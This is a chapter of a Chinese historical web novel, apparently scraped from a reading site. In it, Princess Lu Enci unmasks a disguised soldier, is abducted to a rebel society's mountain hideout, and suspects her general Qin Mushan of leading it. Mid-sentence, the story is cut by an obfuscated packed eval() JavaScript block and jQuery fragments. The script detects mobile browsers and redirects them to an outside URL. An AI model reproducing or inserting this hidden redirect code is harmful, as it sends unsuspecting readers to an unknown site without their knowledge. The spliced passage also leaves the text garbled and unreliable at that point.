卢恩慈定住脚步,一直盘旋在她脑海的回忆在眼前重演。
她在大周和北戎两地重开榷场的那日,误打误撞进了一个想要集结百姓再次改朝换代的秘密结社。
秘密结社坐落于深山之中,但她乘坐马车时感受不到半点的山路颠簸。明明四周杳无人烟,那里的房屋瓦舍却建造得富丽堂皇。
甚至她逃出生天后,还心有余悸——是不是他们故意放自己逃出来的?
疑点重重可不得解。这段时日,她怀疑过自己是不是记忆错乱,平添多了一段不存在的幻想。
不过卢恩慈有心记住那间庭院里的人和物,虽不能记住全部,但也都留了印象。
因此,当她再次看到这个小兵的脸,心脏下意识地疯狂跳动,可以笃定——自在那座神秘的庭院里,她一定看到过他。
卢恩慈强装镇定,叫住那位小兵。
“你过来一下。”卢恩慈朝小兵招招手。
“大人,您要找我做什么?”小兵语气紧张——这是很正常的反应。
“我要去找秦监军,路上有些黑,你护送我走一段路。”卢恩慈状似随口吩咐道。
“我……我……”那小兵扭扭捏捏,说话支支吾吾。
“你还在磨蹭些什么?送我走段路而已!”卢恩慈故意耍了些脾气,摆出不好惹的样子。
“是……”那小兵似乎是下了很大的决心。
他们走在两盏照明灯之间,没有光亮的黑暗的地带。
两人就这么无言地走着,影子消失得无影无踪。
走到下一盏照明灯的光照范围前,那位小兵忽然开口:“秦监军的军帐就在前面,我就送您到这吧。”
“只有一段路了。你有什么事情,这么急着要回去?”卢恩慈停下脚步,借着微弱的月光,趁机再次确认这位小兵的脸。
没错,她确实和他那间庭院里,有过一面之缘。
“回大人,我起夜时急匆匆的衣冠有些不整,不适合见人。”那位小兵看着不远处的灯光,十分畏怯。
“这样啊。”卢恩慈知道秦牧山治军严明,得体的仪容仪表是军纪之一,不好勉强:“那好吧。”
小兵长舒一口气,刚要转身,就被卢恩慈抓住他胸前的衣裳:“先别走!”
小兵很是惊慌地打了个寒战:“您有什么事要吩咐?”
这小兵遇见大人物的无措神情,非常自然,没有一点破绽,完全不像是卧底。
“你大名叫什么?”卢恩慈笑了笑:“你别紧张。你护送我走夜路,我当然要在秦监军面前表扬你几句,让他给你点奖赏。”
“不过是举手之劳。大人不要放在心上!”小兵摇摇头就要往回走。
“你知道我问你,你不答是何罪吗?”卢恩慈威胁道:“你要是不告诉我大名,我就扯开嗓子喊人,把你亲自带到秦监军面前,让他犒劳你!”
夜深人静,要是卢恩慈喊一嗓子,守夜的军士绝对会过来查看。
那位小兵思考半晌,妥协道:“我叫吴阿牛。”
“你这名字取得挺随便啊。”卢恩慈默念一遍他说出的名字。
“爹娘没有文化,看到啥就给我取啥。”那小兵似乎不好意思。
“巧了不是?我之前的名儿,也是这样取的,生在水边,水边有荇,就叫我阿荇。至于取正名,那是很久之后的事了。”
卢恩慈说着话,挥挥手准备放他离开时,月亮拨开了笼罩着它的云雾。
月亮的银辉轻轻巧巧地洒落下来,正好洒在卢恩慈抓着小兵衣裳的手处。
卢恩慈松开手,小兵胸前的衣裳被她抓皱。
被她抓皱的地方,赫然绣着一个身份栏——军队里发衣裳时,会让人在胸前绣上士兵的名字和番队。
然而,那身份栏上绣着的名字,并非什么吴阿牛,而是“梁培吾”。
卢恩慈紧盯着这位小兵身前的身份栏看了一会儿。
他在骗自己!看来此人果真有问题!卢恩慈心中了然,但很快就察觉到自己失态了——她应该装作若无其事地忽略掉这个身份栏,自己表现得太明显了!
这位小兵,不,此刻可以唤他梁培吾了。显然也知道自己对卢恩慈说谎的事情败露。
多年潜伏的经验,让梁培吾比卢恩慈先一步做出反应。
他没有给卢恩慈思考的时间,直接对她干脆利落地下手了。
卢恩慈正要大声呼喊以寻求救兵,就不省人事地昏迷过去。
……
现在是什么时候?她睡了多久?
她在哪里?是死了还是依旧在人间?
她接下来要遇到什么?
卢恩慈忍着额头传来的阵阵钝痛,缓缓睁开眼睛。
一时间,眼前昏花一片。好半天,重影的世界才渐渐清晰。
她躺在一间密室里。密室里很朴素,除了刷白的墙壁,和一扇紧闭的窗户,没有一件多余的装饰和家具。
噢,还有一张红木躺椅,自己被人放在上面。
卢恩慈想要坐起身子,才发觉自己被人绑得严严实实,动弹不得。
她只能再度躺好,不再有动作,毕竟动了也是白费力气。
身子不能动,但是脑子能动啊!
卢恩慈眼睛骨碌碌转着,很快分析出很多线索。
虽然窗户紧闭,但没有拉窗帘,太阳光照进来,这说明现在是大白天。
而自己所处的地方,应该就是那座之前偶然来过的神秘深山庭院。
自己这个大周的晋王殿下,落到这群想要推翻大周的人组成的秘密结社,只怕是凶多吉少!
一想到这,卢恩慈的头就又开始痛起来。
但是她没有自暴自弃,坚持强迫自己清醒思考。
那个叫梁培吾的小兵,伪装得很好,她差点就被他骗过去了。而且他身手相当了得,毫不拖泥带水地将她制服。若是他晚出手一秒,自己就已经大喊出声了。
等等等!卢恩慈猛然瞪大眼睛——自己当时可不是在什么偏僻地方,而是在凉州大营里面啊!
就算这梁培吾再有手段,也很难有通天手段,把自己神不知鬼不觉地运出军营吧!
卢恩慈意识到了不亚于她被抓这件事更坏的事实——凉州大营里,除了这个梁培吾,还被这个反周的组织渗透了不少人!
卢恩慈不觉全身发冷汗。
秦牧山是个胆大心细的人,他几乎把凉州大营当做家一样,将散兵游勇一步步组成让敌军闻风丧胆的骁勇之军。
所以
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17461506|192395||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,若这个组织埋伏在凉州大营的人有什么异常举动,秦牧山绝对会有所察觉。
但是,现实是,这个反周组织埋伏在凉州大营的估计不少,估计还有的身居高位,可秦牧山一无所知。
难不成是秦牧山故意没有和她说吗?不,他都愿意把军队和自己全权交由她了,没理由还会对她有所隐瞒。
总不可能,其实秦牧山就是这个反周组织的大首领吧!他接近自己,实则有所图谋?
对了!这个秘密结社的人曾跟她讲过,他们的一把手大当家,是位仪表堂堂、很有才干的青年男子,让人一见到他就不由得信服于他。
这不完全和秦牧山的特质相符合嘛!他可不就是这种人吗!和这句形容只字不差!
卢恩慈根据现有推出的线索越想越乱,头痛欲裂,几乎要爆炸掉。
如果秦牧山真的是这个反周组织的首领,凭借他对自己的情意,能不能央求他留自己一条命?留得青山在,不怕没柴烧!
罢了罢了,若秦牧山真的是那位首领,他对自己的好感估计全都是伪装的,内心指不定多恨自己。
回想和秦牧山的相处,她三番两次让他完成自己的任务,给自己拼命。父亲算计他的兵权,自己又何尝不是呢?
要是秦牧山控诉自己,自己也不好辩解什么。
只是,她出来没有对他隐藏自己的野心和目的,没有强迫他做任何事,自己都给他正夫之位了——这怎么不能算是一种真心呢?
卢恩慈胡思乱想着,听到屋外传来脚步声。
啊啊啊,要是秦牧山出现,她该如何是好?那场面,她无法想象……
要不看看他是否对自己有一点旧情,假意答应做他的禁脔,再找机会逃走?
思来想去,在屋外人打开门的刹那,卢恩慈陡然惧怕,索性闭眼假装仍在昏睡。
听声音,应该是两个普通侍女。
“她睡了一天一夜了,怎么还没有醒?”
一天一夜?看来她昏的时间比自己想的要长。奇怪,她怎么不饿?
“她可是晋王殿下,身子金贵,估计醒来的时间要长一些。”
“听说她有好几个男宠呢!不会是夜夜放肆,身子空虚了吧?”
她哪有这样子!谣传!瞎讲!她清心寡欲得很!当下事情繁多,压得她很久都没有欢好了,咳咳!
“她没有醒,那我们端的早膳她没办法吃,只能像昨天一样,给她喂流食。”
“我们去上报给薛大人吧。”
薛大人是谁?是那位反周的首领吗?不过还想着给昏迷的她喂流食,看来暂时没想着要自己的命。
过了一小会儿,卢恩慈听到门外又传来脚步声,赶紧又闭眼装死。
这回来的,应该是侍女口中的那位薛大人吧!
那人小心地推开门,生怕吵到卢恩慈一样。
卢恩慈紧张极了。
这位薛大人只轻柔地抚了抚她额头的钝痛处。
随后,薛大人扶着卢恩慈靠在椅背,用汤匙轻启她的嘴唇,喂她甜粥。
“薛大人,给您热水。”一位侍女走进来,压低声音。
“放这吧。”
短短三个字,惊得卢恩慈忘了伪装:“居然是你!”